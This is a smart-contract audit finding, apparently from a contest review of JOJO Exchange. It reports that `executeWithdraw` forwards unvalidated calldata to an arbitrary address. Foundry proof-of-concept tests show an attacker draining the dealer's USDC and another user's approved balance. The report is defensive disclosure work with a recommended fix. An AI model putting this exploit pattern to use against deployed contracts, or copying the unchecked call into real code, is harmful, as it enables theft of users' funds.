Suave Mint Hare

high

# Lack of input validation for executeWithdraw leads to total loss of funds

## Summary
In Funding.sol, a lack of input validation in `executeWithdraw()`allows an attacker to pass in arbitrary data and either steal all funds in JojoDealer, or steal from other users using approved allowances. Very similar to recent Socket/Bungee exploit.

## Vulnerability Detail
```solidity
// Funding.sol
function executeWithdraw(
        Types.State storage state,
        address from,
        address to,
        bool isInternal,
        bytes memory param
    ) external {
		...
		_withdraw(state, msg.sender, from, to, primaryAmount, secondaryAmount, isInternal, param);
    }

function _withdraw(
        Types.State storage state,
        address spender,
        address from,
        address to,
        uint256 primaryAmount,
        uint256 secondaryAmount,
        bool isInternal,
        bytes memory param
    )   private {
		...
		
		//@audit param not validated
		(bool success,) = to.call(param);
    
    }
```

`executeWithdraw()` can be called by anyone who has a deposit with JOJODealer and has made a withdraw request. `param` can be passed to `executeWithdraw()` which is not validated, allowing an attacker to make a call to any contract. This can be abused by calling a token contract and steal all the balances of JOJODealer, and/or the balances of other users using their approved allowances to JOJODealer. 

Attack scenario 1 (steal from dealer):
1. JOJODealer contract has 1000 USDC balance
2. Bob deposits 1 USDC into JOJO Dealer
3. Bob calls `requestWithdraw` and waits for the timelock period to be over
4. Bob calls `executeWithdraw` passing in param as `abi.encodeWithSignature("transfer(address,uint256)", address(bob), 1000e6)`
5. Bob steals all USDC balance from JOJODealer

Attack scenario 2(steal from other users):
1. Alice and Bob approve USDC to JOJODealer for the maximum amount
2. Alice and Bob each deposit 100 USDC into JOJO Dealer. Alice has 900 USDC remaining in her account.
3. Bob calls `requestWithdraw` and waits for the timelock period to be over
4. Bob calls `executeWithdraw` passing in param as `abi.encodeWithSignature("transferFrom(address,address,uint256)", address(alice), address(bob), 900e6);`
5. Bob steals all of Alice's USDC 

Run this POC in `DealerFundTest.sol`
```solidity
    function testStealDealerBalance() public {
        jojoDealer.setWithdrawTimeLock(100);
        vm.startPrank(traders[0]);
        jojoDealer.deposit(1000e6, 1000e6, traders[0]);
        assertEq(usdc.balanceOf(address(jojoDealer)), 1000e6); // Contract has 1000 USDC

        vm.startPrank(traders[1]);
        jojoDealer.deposit(1e6, 1e6, traders[1]);  // Bob deposits 1 USDC
        assertEq(usdc.balanceOf(address(jojoDealer)), 1001e6);

        jojoDealer.requestWithdraw(traders[1], 1e6, 1e6); // Bob makes withdraw request

        skip(100);
        bytes memory param = abi.encodeWithSignature("transfer(address,uint256)", address(traders[1]), 1000e6);

        jojoDealer.executeWithdraw(traders[1], address(usdc), false, param);
        assertEq(usdc.balanceOf(address(jojoDealer)), 0); // Bob steals all USDC from contract
    }

    function testStealOtherUsersBalance() public {
        jojoDealer.setWithdrawTimeLock(100);
        vm.startPrank(traders[0]);
        jojoDealer.deposit(100_000e6, 100_000e6, traders[0]); // Alice deposits 100k USDC
        assertEq(usdc.balanceOf(address(traders[0])), 900_000e6); // Alice remaining balance 900k USDC

        vm.startPrank(traders[1]);
        jojoDealer.deposit(1e6, 1e6, traders[1]);
        assertEq(usdc.balanceOf(address(jojoDealer)), 100_001e6); // Bob deposits 1 USDC

        jojoDealer.requestWithdraw(traders[1], 1e6, 1e6); // Bob makes withdraw request

        skip(100);
        bytes memory param = abi.encodeWithSignature("transferFrom(address,address,uint256)", address(traders[0]), address(traders[1]), 900_000e6);

        jojoDealer.executeWithdraw(traders[1], address(usdc), false, param);
        assertEq(usdc.balanceOf(address(traders[0])), 0); // Alice USDC balance is 0
    }
```
## Impact
Total loss of funds from JOJODealer and all users who have given token approvals.

## Code Snippet
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L175

## Tool used
Manual Review

## Recommendation
Check and validate `param` and `to` before making the call.